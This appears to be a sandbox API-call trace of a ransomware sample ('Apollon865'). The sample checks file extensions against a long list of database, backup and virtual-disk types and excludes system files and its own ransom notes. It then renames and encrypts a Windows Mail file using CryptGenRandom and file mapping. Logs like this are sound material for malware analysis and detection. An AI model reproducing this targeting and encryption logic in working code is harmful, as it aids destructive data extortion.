	[0056.600] lstrcmpiW (lpString1="01.jrs", lpString2="db-wal") returned -1
	[0056.600] lstrlenW (lpString="dbc") returned 3
	[0056.600] lstrcmpiW (lpString1="jrs", lpString2="dbc") returned 1
	[0056.600] lstrlenW (lpString="dbs") returned 3
	[0056.600] lstrcmpiW (lpString1="jrs", lpString2="dbs") returned 1
	[0056.600] lstrlenW (lpString="dbt") returned 3
	[0056.600] lstrcmpiW (lpString1="jrs", lpString2="dbt") returned 1
	[0056.600] lstrlenW (lpString="dbv") returned 3
	[0056.601] lstrcmpiW (lpString1="jrs", lpString2="dbv") returned 1
	[0056.601] lstrlenW (lpString="dbx") returned 3
	[0056.601] lstrcmpiW (lpString1="jrs", lpString2="dbx") returned 1
	[0056.601] lstrlenW (lpString="dcb") returned 3
	[0056.601] lstrcmpiW (lpString1="jrs", lpString2="dcb") returned 1
	[0056.601] lstrlenW (lpString="dct") returned 3
	[0056.601] lstrcmpiW (lpString1="jrs", lpString2="dct") returned 1
	[0056.601] lstrlenW (lpString="dcx") returned 3
	[0056.601] lstrcmpiW (lpString1="jrs", lpString2="dcx") returned 1
	[0056.601] lstrlenW (lpString="ddl") returned 3
	[0056.601] lstrcmpiW (lpString1="jrs", lpString2="ddl") returned 1
	[0056.601] lstrlenW (lpString="dlis") returned 4
	[0056.601] lstrcmpiW (lpString1=".jrs", lpString2="dlis") returned -1
	[0056.601] lstrlenW (lpString="dp1") returned 3
	[0056.601] lstrcmpiW (lpString1="jrs", lpString2="dp1") returned 1
	[0056.601] lstrlenW (lpString="dqy") returned 3
	[0056.601] lstrcmpiW (lpString1="jrs", lpString2="dqy") returned 1
	[0056.601] lstrlenW (lpString="dsk") returned 3
	[0056.601] lstrcmpiW (lpString1="jrs", lpString2="dsk") returned 1
	[0056.601] lstrlenW (lpString="dsn") returned 3
	[0056.601] lstrcmpiW (lpString1="jrs", lpString2="dsn") returned 1
	[0056.601] lstrlenW (lpString="dtsx") returned 4
	[0056.601] lstrcmpiW (lpString1=".jrs", lpString2="dtsx") returned -1
	[0056.601] lstrlenW (lpString="dxl") returned 3
	[0056.601] lstrcmpiW (lpString1="jrs", lpString2="dxl") returned 1
	[0056.601] lstrlenW (lpString="eco") returned 3
	[0056.601] lstrcmpiW (lpString1="jrs", lpString2="eco") returned 1
	[0056.601] lstrlenW (lpString="ecx") returned 3
	[0056.601] lstrcmpiW (lpString1="jrs", lpString2="ecx") returned 1
	[0056.601] lstrlenW (lpString="edb") returned 3
	[0056.601] lstrcmpiW (lpString1="jrs", lpString2="edb") returned 1
	[0056.601] lstrlenW (lpString="epim") returned 4
	[0056.601] lstrcmpiW (lpString1=".jrs", lpString2="epim") returned -1
	[0056.601] lstrlenW (lpString="fcd") returned 3
	[0056.601] lstrcmpiW (lpString1="jrs", lpString2="fcd") returned 1
	[0056.602] lstrlenW (lpString="fdb") returned 3
	[0056.602] lstrcmpiW (lpString1="jrs", lpString2="fdb") returned 1
	[0056.602] lstrlenW (lpString="fic") returned 3
	[0056.602] lstrcmpiW (lpString1="jrs", lpString2="fic") returned 1
	[0056.602] lstrlenW (lpString="flexolibrary") returned 12
	[0056.602] lstrcmpiW (lpString1="res00001.jrs", lpString2="flexolibrary") returned 1
	[0056.602] lstrlenW (lpString="fm5") returned 3
	[0056.602] lstrcmpiW (lpString1="jrs", lpString2="fm5") returned 1
	[0056.602] lstrlenW (lpString="fmp") returned 3
	[0056.602] lstrcmpiW (lpString1="jrs", lpString2="fmp") returned 1
	[0056.602] lstrlenW (lpString="fmp12") returned 5
	[0056.602] lstrcmpiW (lpString1="1.jrs", lpString2="fmp12") returned -1
	[0056.602] lstrlenW (lpString="fmpsl") returned 5
	[0056.602] lstrcmpiW (lpString1="1.jrs", lpString2="fmpsl") returned -1
	[0056.602] lstrlenW (lpString="fol") returned 3
	[0056.602] lstrcmpiW (lpString1="jrs", lpString2="fol") returned 1
	[0056.602] lstrlenW (lpString="fp3") returned 3
	[0056.602] lstrcmpiW (lpString1="jrs", lpString2="fp3") returned 1
	[0056.602] lstrlenW (lpString="fp4") returned 3
	[0056.602] lstrcmpiW (lpString1="jrs", lpString2="fp4") returned 1
	[0056.602] lstrlenW (lpString="fp5") returned 3
	[0056.602] lstrcmpiW (lpString1="jrs", lpString2="fp5") returned 1
	[0056.602] lstrlenW (lpString="fp7") returned 3
	[0056.602] lstrcmpiW (lpString1="jrs", lpString2="fp7") returned 1
	[0056.602] lstrlenW (lpString="fpt") returned 3
	[0056.602] lstrcmpiW (lpString1="jrs", lpString2="fpt") returned 1
	[0056.602] lstrlenW (lpString="frm") returned 3
	[0056.602] lstrcmpiW (lpString1="jrs", lpString2="frm") returned 1
	[0056.602] lstrlenW (lpString="gdb") returned 3
	[0056.602] lstrcmpiW (lpString1="jrs", lpString2="gdb") returned 1
	[0056.602] lstrlenW (lpString="gdb") returned 3
	[0056.602] lstrcmpiW (lpString1="jrs", lpString2="gdb") returned 1
	[0056.602] lstrlenW (lpString="grdb") returned 4
	[0056.602] lstrcmpiW (lpString1=".jrs", lpString2="grdb") returned -1
	[0056.602] lstrlenW (lpString="gwi") returned 3
	[0056.603] lstrcmpiW (lpString1="jrs", lpString2="gwi") returned 1
	[0056.603] lstrlenW (lpString="hdb") returned 3
	[0056.603] lstrcmpiW (lpString1="jrs", lpString2="hdb") returned 1
	[0056.603] lstrlenW (lpString="his") returned 3
	[0056.603] lstrcmpiW (lpString1="jrs", lpString2="his") returned 1
	[0056.603] lstrlenW (lpString="ib") returned 2
	[0056.603] lstrcmpiW (lpString1="rs", lpString2="ib") returned 1
	[0056.603] lstrlenW (lpString="idb") returned 3
	[0056.603] lstrcmpiW (lpString1="jrs", lpString2="idb") returned 1
	[0056.603] lstrlenW (lpString="ihx") returned 3
	[0056.603] lstrcmpiW (lpString1="jrs", lpString2="ihx") returned 1
	[0056.603] lstrlenW (lpString="itdb") returned 4
	[0056.603] lstrcmpiW (lpString1=".jrs", lpString2="itdb") returned -1
	[0056.603] lstrlenW (lpString="itw") returned 3
	[0056.603] lstrcmpiW (lpString1="jrs", lpString2="itw") returned 1
	[0056.603] lstrlenW (lpString="jet") returned 3
	[0056.603] lstrcmpiW (lpString1="jrs", lpString2="jet") returned 1
	[0056.603] lstrlenW (lpString="jtx") returned 3
	[0056.603] lstrcmpiW (lpString1="jrs", lpString2="jtx") returned -1
	[0056.603] lstrlenW (lpString="kdb") returned 3
	[0056.603] lstrcmpiW (lpString1="jrs", lpString2="kdb") returned -1
	[0056.603] lstrlenW (lpString="kexi") returned 4
	[0056.603] lstrcmpiW (lpString1=".jrs", lpString2="kexi") returned -1
	[0056.603] lstrlenW (lpString="kexic") returned 5
	[0056.603] lstrcmpiW (lpString1="1.jrs", lpString2="kexic") returned -1
	[0056.603] lstrlenW (lpString="kexis") returned 5
	[0056.603] lstrcmpiW (lpString1="1.jrs", lpString2="kexis") returned -1
	[0056.603] lstrlenW (lpString="lgc") returned 3
	[0056.603] lstrcmpiW (lpString1="jrs", lpString2="lgc") returned -1
	[0056.603] lstrlenW (lpString="lwx") returned 3
	[0056.603] lstrcmpiW (lpString1="jrs", lpString2="lwx") returned -1
	[0056.603] lstrlenW (lpString="maf") returned 3
	[0056.603] lstrcmpiW (lpString1="jrs", lpString2="maf") returned -1
	[0056.603] lstrlenW (lpString="maq") returned 3
	[0056.603] lstrcmpiW (lpString1="jrs", lpString2="maq") returned -1
	[0056.604] lstrlenW (lpString="mar") returned 3
	[0056.604] lstrcmpiW (lpString1="jrs", lpString2="mar") returned -1
	[0056.604] lstrlenW (lpString="marshal") returned 7
	[0056.604] lstrcmpiW (lpString1="001.jrs", lpString2="marshal") returned -1
	[0056.604] lstrlenW (lpString="mas") returned 3
	[0056.604] lstrcmpiW (lpString1="jrs", lpString2="mas") returned -1
	[0056.604] lstrlenW (lpString="mav") returned 3
	[0056.604] lstrcmpiW (lpString1="jrs", lpString2="mav") returned -1
	[0056.604] lstrlenW (lpString="maw") returned 3
	[0056.604] lstrcmpiW (lpString1="jrs", lpString2="maw") returned -1
	[0056.604] lstrlenW (lpString="mdbhtml") returned 7
	[0056.604] lstrcmpiW (lpString1="001.jrs", lpString2="mdbhtml") returned -1
	[0056.604] lstrlenW (lpString="mdn") returned 3
	[0056.604] lstrcmpiW (lpString1="jrs", lpString2="mdn") returned -1
	[0056.604] lstrlenW (lpString="mdt") returned 3
	[0056.604] lstrcmpiW (lpString1="jrs", lpString2="mdt") returned -1
	[0056.604] lstrlenW (lpString="mfd") returned 3
	[0056.604] lstrcmpiW (lpString1="jrs", lpString2="mfd") returned -1
	[0056.604] lstrlenW (lpString="mpd") returned 3
	[0056.604] lstrcmpiW (lpString1="jrs", lpString2="mpd") returned -1
	[0056.604] lstrlenW (lpString="mrg") returned 3
	[0056.604] lstrcmpiW (lpString1="jrs", lpString2="mrg") returned -1
	[0056.604] lstrlenW (lpString="mud") returned 3
	[0056.604] lstrcmpiW (lpString1="jrs", lpString2="mud") returned -1
	[0056.604] lstrlenW (lpString="mwb") returned 3
	[0056.604] lstrcmpiW (lpString1="jrs", lpString2="mwb") returned -1
	[0056.604] lstrlenW (lpString="myd") returned 3
	[0056.604] lstrcmpiW (lpString1="jrs", lpString2="myd") returned -1
	[0056.604] lstrlenW (lpString="ndf") returned 3
	[0056.604] lstrcmpiW (lpString1="jrs", lpString2="ndf") returned -1
	[0056.604] lstrlenW (lpString="nnt") returned 3
	[0056.604] lstrcmpiW (lpString1="jrs", lpString2="nnt") returned -1
	[0056.604] lstrlenW (lpString="nrmlib") returned 6
	[0056.604] lstrcmpiW (lpString1="01.jrs", lpString2="nrmlib") returned -1
	[0056.605] lstrlenW (lpString="ns2") returned 3
	[0056.605] lstrcmpiW (lpString1="jrs", lpString2="ns2") returned -1
	[0056.605] lstrlenW (lpString="ns3") returned 3
	[0056.605] lstrcmpiW (lpString1="jrs", lpString2="ns3") returned -1
	[0056.605] lstrlenW (lpString="ns4") returned 3
	[0056.605] lstrcmpiW (lpString1="jrs", lpString2="ns4") returned -1
	[0056.605] lstrlenW (lpString="nsf") returned 3
	[0056.605] lstrcmpiW (lpString1="jrs", lpString2="nsf") returned -1
	[0056.605] lstrlenW (lpString="nv") returned 2
	[0056.605] lstrcmpiW (lpString1="rs", lpString2="nv") returned 1
	[0056.605] lstrlenW (lpString="nv2") returned 3
	[0056.605] lstrcmpiW (lpString1="jrs", lpString2="nv2") returned -1
	[0056.605] lstrlenW (lpString="nwdb") returned 4
	[0056.605] lstrcmpiW (lpString1=".jrs", lpString2="nwdb") returned -1
	[0056.605] lstrlenW (lpString="nyf") returned 3
	[0056.605] lstrcmpiW (lpString1="jrs", lpString2="nyf") returned -1
	[0056.605] lstrlenW (lpString="odb") returned 3
	[0056.605] lstrcmpiW (lpString1="jrs", lpString2="odb") returned -1
	[0056.605] lstrlenW (lpString="odb") returned 3
	[0056.605] lstrcmpiW (lpString1="jrs", lpString2="odb") returned -1
	[0056.605] lstrlenW (lpString="oqy") returned 3
	[0056.605] lstrcmpiW (lpString1="jrs", lpString2="oqy") returned -1
	[0056.605] lstrlenW (lpString="ora") returned 3
	[0056.605] lstrcmpiW (lpString1="jrs", lpString2="ora") returned -1
	[0056.605] lstrlenW (lpString="orx") returned 3
	[0056.605] lstrcmpiW (lpString1="jrs", lpString2="orx") returned -1
	[0056.605] lstrlenW (lpString="owc") returned 3
	[0056.605] lstrcmpiW (lpString1="jrs", lpString2="owc") returned -1
	[0056.605] lstrlenW (lpString="p96") returned 3
	[0056.605] lstrcmpiW (lpString1="jrs", lpString2="p96") returned -1
	[0056.605] lstrlenW (lpString="p97") returned 3
	[0056.605] lstrcmpiW (lpString1="jrs", lpString2="p97") returned -1
	[0056.605] lstrlenW (lpString="pan") returned 3
	[0056.605] lstrcmpiW (lpString1="jrs", lpString2="pan") returned -1
	[0056.606] lstrlenW (lpString="pdb") returned 3
	[0056.606] lstrcmpiW (lpString1="jrs", lpString2="pdb") returned -1
	[0056.606] lstrlenW (lpString="pdm") returned 3
	[0056.606] lstrcmpiW (lpString1="jrs", lpString2="pdm") returned -1
	[0056.606] lstrlenW (lpString="pnz") returned 3
	[0056.606] lstrcmpiW (lpString1="jrs", lpString2="pnz") returned -1
	[0056.606] lstrlenW (lpString="qry") returned 3
	[0056.606] lstrcmpiW (lpString1="jrs", lpString2="qry") returned -1
	[0056.606] lstrlenW (lpString="qvd") returned 3
	[0056.606] lstrcmpiW (lpString1="jrs", lpString2="qvd") returned -1
	[0056.606] lstrlenW (lpString="rbf") returned 3
	[0056.606] lstrcmpiW (lpString1="jrs", lpString2="rbf") returned -1
	[0056.606] lstrlenW (lpString="rctd") returned 4
	[0056.606] lstrcmpiW (lpString1=".jrs", lpString2="rctd") returned -1
	[0056.606] lstrlenW (lpString="rod") returned 3
	[0056.606] lstrcmpiW (lpString1="jrs", lpString2="rod") returned -1
	[0056.606] lstrlenW (lpString="rodx") returned 4
	[0056.606] lstrcmpiW (lpString1=".jrs", lpString2="rodx") returned -1
	[0056.606] lstrlenW (lpString="rpd") returned 3
	[0056.606] lstrcmpiW (lpString1="jrs", lpString2="rpd") returned -1
	[0056.606] lstrlenW (lpString="rsd") returned 3
	[0056.606] lstrcmpiW (lpString1="jrs", lpString2="rsd") returned -1
	[0056.606] lstrlenW (lpString="sas7bdat") returned 8
	[0056.606] lstrcmpiW (lpString1="0001.jrs", lpString2="sas7bdat") returned -1
	[0056.606] lstrlenW (lpString="sbf") returned 3
	[0056.606] lstrcmpiW (lpString1="jrs", lpString2="sbf") returned -1
	[0056.606] lstrlenW (lpString="scx") returned 3
	[0056.606] lstrcmpiW (lpString1="jrs", lpString2="scx") returned -1
	[0056.606] lstrlenW (lpString="sdb") returned 3
	[0056.606] lstrcmpiW (lpString1="jrs", lpString2="sdb") returned -1
	[0056.606] lstrlenW (lpString="sdc") returned 3
	[0056.606] lstrcmpiW (lpString1="jrs", lpString2="sdc") returned -1
	[0056.606] lstrlenW (lpString="sdf") returned 3
	[0056.606] lstrcmpiW (lpString1="jrs", lpString2="sdf") returned -1
	[0056.607] lstrlenW (lpString="sis") returned 3
	[0056.607] lstrcmpiW (lpString1="jrs", lpString2="sis") returned -1
	[0056.607] lstrlenW (lpString="spq") returned 3
	[0056.607] lstrcmpiW (lpString1="jrs", lpString2="spq") returned -1
	[0056.607] lstrlenW (lpString="te") returned 2
	[0056.607] lstrcmpiW (lpString1="rs", lpString2="te") returned -1
	[0056.607] lstrlenW (lpString="teacher") returned 7
	[0056.607] lstrcmpiW (lpString1="001.jrs", lpString2="teacher") returned -1
	[0056.607] lstrlenW (lpString="tmd") returned 3
	[0056.607] lstrcmpiW (lpString1="jrs", lpString2="tmd") returned -1
	[0056.607] lstrlenW (lpString="tps") returned 3
	[0056.607] lstrcmpiW (lpString1="jrs", lpString2="tps") returned -1
	[0056.607] lstrlenW (lpString="trc") returned 3
	[0056.607] lstrcmpiW (lpString1="jrs", lpString2="trc") returned -1
	[0056.607] lstrlenW (lpString="trc") returned 3
	[0056.607] lstrcmpiW (lpString1="jrs", lpString2="trc") returned -1
	[0056.607] lstrlenW (lpString="trm") returned 3
	[0056.607] lstrcmpiW (lpString1="jrs", lpString2="trm") returned -1
	[0056.607] lstrlenW (lpString="udb") returned 3
	[0056.607] lstrcmpiW (lpString1="jrs", lpString2="udb") returned -1
	[0056.607] lstrlenW (lpString="udl") returned 3
	[0056.607] lstrcmpiW (lpString1="jrs", lpString2="udl") returned -1
	[0056.607] lstrlenW (lpString="usr") returned 3
	[0056.607] lstrcmpiW (lpString1="jrs", lpString2="usr") returned -1
	[0056.607] lstrlenW (lpString="v12") returned 3
	[0056.607] lstrcmpiW (lpString1="jrs", lpString2="v12") returned -1
	[0056.607] lstrlenW (lpString="vis") returned 3
	[0056.607] lstrcmpiW (lpString1="jrs", lpString2="vis") returned -1
	[0056.607] lstrlenW (lpString="vpd") returned 3
	[0056.607] lstrcmpiW (lpString1="jrs", lpString2="vpd") returned -1
	[0056.607] lstrlenW (lpString="vvv") returned 3
	[0056.607] lstrcmpiW (lpString1="jrs", lpString2="vvv") returned -1
	[0056.607] lstrlenW (lpString="wdb") returned 3
	[0056.607] lstrcmpiW (lpString1="jrs", lpString2="wdb") returned -1
	[0056.607] lstrlenW (lpString="wmdb") returned 4
	[0056.608] lstrcmpiW (lpString1=".jrs", lpString2="wmdb") returned -1
	[0056.608] lstrlenW (lpString="wrk") returned 3
	[0056.608] lstrcmpiW (lpString1="jrs", lpString2="wrk") returned -1
	[0056.608] lstrlenW (lpString="xdb") returned 3
	[0056.608] lstrcmpiW (lpString1="jrs", lpString2="xdb") returned -1
	[0056.608] lstrlenW (lpString="xld") returned 3
	[0056.608] lstrcmpiW (lpString1="jrs", lpString2="xld") returned -1
	[0056.608] lstrlenW (lpString="xmlff") returned 5
	[0056.608] lstrcmpiW (lpString1="1.jrs", lpString2="xmlff") returned -1
	[0056.608] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs.Apollon865") returned 80
	[0056.608] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00001.jrs"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00001.jrs.apollon865"), dwFlags=0x1) returned 1
	[0056.609] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00001.jrs.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0056.609] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=2097152) returned 1
	[0056.609] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0056.609] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0056.609] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0056.610] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0056.610] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0056.610] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0056.610] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x200300, lpName=0x0) returned 0x118
	[0056.614] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x300) returned 0x100000
	[0056.615] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3270000
	[0057.274] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0057.275] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0057.275] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0057.275] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0057.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0057.275] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0057.275] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0057.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0057.275] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0057.275] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0057.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0057.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0057.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0057.276] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0057.276] CloseHandle (hObject=0x118) returned 1
	[0057.276] CloseHandle (hObject=0x150) returned 1
	[0057.276] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0057.276] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0057.276] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0057.285] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2216575, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="edbres00002.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1
	[0057.285] lstrcmpiW (lpString1="edbres00002.jrs", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.285] lstrcmpiW (lpString1="edbres00002.jrs", lpString2="Apollon865.txt.exe") returned 1
	[0057.285] lstrcmpiW (lpString1="edbres00002.jrs", lpString2=".") returned 1
	[0057.285] lstrcmpiW (lpString1="edbres00002.jrs", lpString2="..") returned 1
	[0057.285] lstrcmpiW (lpString1="edbres00002.jrs", lpString2="windows") returned -1
	[0057.285] lstrcmpiW (lpString1="edbres00002.jrs", lpString2="bootmgr") returned 1
	[0057.285] lstrcmpiW (lpString1="edbres00002.jrs", lpString2="temp") returned -1
	[0057.285] lstrcmpiW (lpString1="edbres00002.jrs", lpString2="pagefile.sys") returned -1
	[0057.286] lstrcmpiW (lpString1="edbres00002.jrs", lpString2="boot") returned 1
	[0057.286] lstrcmpiW (lpString1="edbres00002.jrs", lpString2="ids.txt") returned -1
	[0057.286] lstrcmpiW (lpString1="edbres00002.jrs", lpString2="ntuser.dat") returned -1
	[0057.286] lstrcmpiW (lpString1="edbres00002.jrs", lpString2="perflogs") returned -1
	[0057.286] lstrcmpiW (lpString1="edbres00002.jrs", lpString2="MSBuild") returned -1
	[0057.286] lstrlenW (lpString="edbres00002.jrs") returned 15
	[0057.286] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs") returned 69
	[0057.286] lstrcpyW (in: lpString1=0x119e674, lpString2="edbres00002.jrs" | out: lpString1="edbres00002.jrs") returned="edbres00002.jrs"
	[0057.286] lstrlenW (lpString="edbres00002.jrs") returned 15
	[0057.286] lstrlenW (lpString="Apollon865") returned 10
	[0057.286] lstrcmpiW (lpString1="s00002.jrs", lpString2="Apollon865") returned 1
	[0057.286] lstrlenW (lpString=".dll") returned 4
	[0057.286] lstrcmpiW (lpString1="edbres00002.jrs", lpString2=".dll") returned 1
	[0057.286] lstrlenW (lpString=".lnk") returned 4
	[0057.286] lstrcmpiW (lpString1="edbres00002.jrs", lpString2=".lnk") returned 1
	[0057.286] lstrlenW (lpString=".ini") returned 4
	[0057.286] lstrcmpiW (lpString1="edbres00002.jrs", lpString2=".ini") returned 1
	[0057.286] lstrlenW (lpString=".sys") returned 4
	[0057.286] lstrcmpiW (lpString1="edbres00002.jrs", lpString2=".sys") returned 1
	[0057.286] lstrlenW (lpString="edbres00002.jrs") returned 15
	[0057.286] lstrlenW (lpString="bak") returned 3
	[0057.286] lstrcmpiW (lpString1="jrs", lpString2="bak") returned 1
	[0057.286] lstrlenW (lpString="ba_") returned 3
	[0057.286] lstrcmpiW (lpString1="jrs", lpString2="ba_") returned 1
	[0057.286] lstrlenW (lpString="dbb") returned 3
	[0057.286] lstrcmpiW (lpString1="jrs", lpString2="dbb") returned 1
	[0057.286] lstrlenW (lpString="vmdk") returned 4
	[0057.286] lstrcmpiW (lpString1=".jrs", lpString2="vmdk") returned -1
	[0057.286] lstrlenW (lpString="rar") returned 3
	[0057.286] lstrcmpiW (lpString1="jrs", lpString2="rar") returned -1
	[0057.286] lstrlenW (lpString="zip") returned 3
	[0057.286] lstrcmpiW (lpString1="jrs", lpString2="zip") returned -1
	[0057.286] lstrlenW (lpString="tgz") returned 3
	[0057.286] lstrcmpiW (lpString1="jrs", lpString2="tgz") returned -1
	[0057.287] lstrlenW (lpString="vbox") returned 4
	[0057.287] lstrcmpiW (lpString1=".jrs", lpString2="vbox") returned -1
	[0057.287] lstrlenW (lpString="vdi") returned 3
	[0057.287] lstrcmpiW (lpString1="jrs", lpString2="vdi") returned -1
	[0057.287] lstrlenW (lpString="vhd") returned 3
	[0057.287] lstrcmpiW (lpString1="jrs", lpString2="vhd") returned -1
	[0057.287] lstrlenW (lpString="vhdx") returned 4
	[0057.287] lstrcmpiW (lpString1=".jrs", lpString2="vhdx") returned -1
	[0057.287] lstrlenW (lpString="avhd") returned 4
	[0057.287] lstrcmpiW (lpString1=".jrs", lpString2="avhd") returned -1
	[0057.287] lstrlenW (lpString="db") returned 2
	[0057.287] lstrcmpiW (lpString1="rs", lpString2="db") returned 1
	[0057.287] lstrlenW (lpString="db2") returned 3
	[0057.287] lstrcmpiW (lpString1="jrs", lpString2="db2") returned 1
	[0057.287] lstrlenW (lpString="db3") returned 3
	[0057.287] lstrcmpiW (lpString1="jrs", lpString2="db3") returned 1
	[0057.287] lstrlenW (lpString="dbf") returned 3
	[0057.287] lstrcmpiW (lpString1="jrs", lpString2="dbf") returned 1
	[0057.287] lstrlenW (lpString="mdf") returned 3
	[0057.287] lstrcmpiW (lpString1="jrs", lpString2="mdf") returned -1
	[0057.287] lstrlenW (lpString="mdb") returned 3
	[0057.287] lstrcmpiW (lpString1="jrs", lpString2="mdb") returned -1
	[0057.287] lstrlenW (lpString="sql") returned 3
	[0057.287] lstrcmpiW (lpString1="jrs", lpString2="sql") returned -1
	[0057.287] lstrlenW (lpString="sqlite") returned 6
	[0057.287] lstrcmpiW (lpString1="02.jrs", lpString2="sqlite") returned -1
	[0057.287] lstrlenW (lpString="sqlite3") returned 7
	[0057.287] lstrcmpiW (lpString1="002.jrs", lpString2="sqlite3") returned -1
	[0057.287] lstrlenW (lpString="sqlitedb") returned 8
	[0057.287] lstrcmpiW (lpString1="0002.jrs", lpString2="sqlitedb") returned -1
	[0057.287] lstrlenW (lpString="xml") returned 3
	[0057.287] lstrcmpiW (lpString1="jrs", lpString2="xml") returned -1
	[0057.287] lstrlenW (lpString="$er") returned 3
	[0057.287] lstrcmpiW (lpString1="jrs", lpString2="$er") returned 1
	[0057.288] lstrlenW (lpString="4dd") returned 3
	[0057.288] lstrcmpiW (lpString1="jrs", lpString2="4dd") returned 1
	[0057.288] lstrlenW (lpString="4dl") returned 3
	[0057.288] lstrcmpiW (lpString1="jrs", lpString2="4dl") returned 1
	[0057.288] lstrlenW (lpString="^^^") returned 3
	[0057.288] lstrcmpiW (lpString1="jrs", lpString2="^^^") returned 1
	[0057.288] lstrlenW (lpString="abs") returned 3
	[0057.288] lstrcmpiW (lpString1="jrs", lpString2="abs") returned 1
	[0057.288] lstrlenW (lpString="abx") returned 3
	[0057.288] lstrcmpiW (lpString1="jrs", lpString2="abx") returned 1
	[0057.288] lstrlenW (lpString="accdb") returned 5
	[0057.288] lstrcmpiW (lpString1="2.jrs", lpString2="accdb") returned -1
	[0057.288] lstrlenW (lpString="accdc") returned 5
	[0057.288] lstrcmpiW (lpString1="2.jrs", lpString2="accdc") returned -1
	[0057.288] lstrlenW (lpString="accde") returned 5
	[0057.288] lstrcmpiW (lpString1="2.jrs", lpString2="accde") returned -1
	[0057.288] lstrlenW (lpString="accdr") returned 5
	[0057.288] lstrcmpiW (lpString1="2.jrs", lpString2="accdr") returned -1
	[0057.288] lstrlenW (lpString="accdt") returned 5
	[0057.288] lstrcmpiW (lpString1="2.jrs", lpString2="accdt") returned -1
	[0057.288] lstrlenW (lpString="accdw") returned 5
	[0057.288] lstrcmpiW (lpString1="2.jrs", lpString2="accdw") returned -1
	[0057.288] lstrlenW (lpString="accft") returned 5
	[0057.288] lstrcmpiW (lpString1="2.jrs", lpString2="accft") returned -1
	[0057.288] lstrlenW (lpString="adb") returned 3
	[0057.288] lstrcmpiW (lpString1="jrs", lpString2="adb") returned 1
	[0057.288] lstrlenW (lpString="adb") returned 3
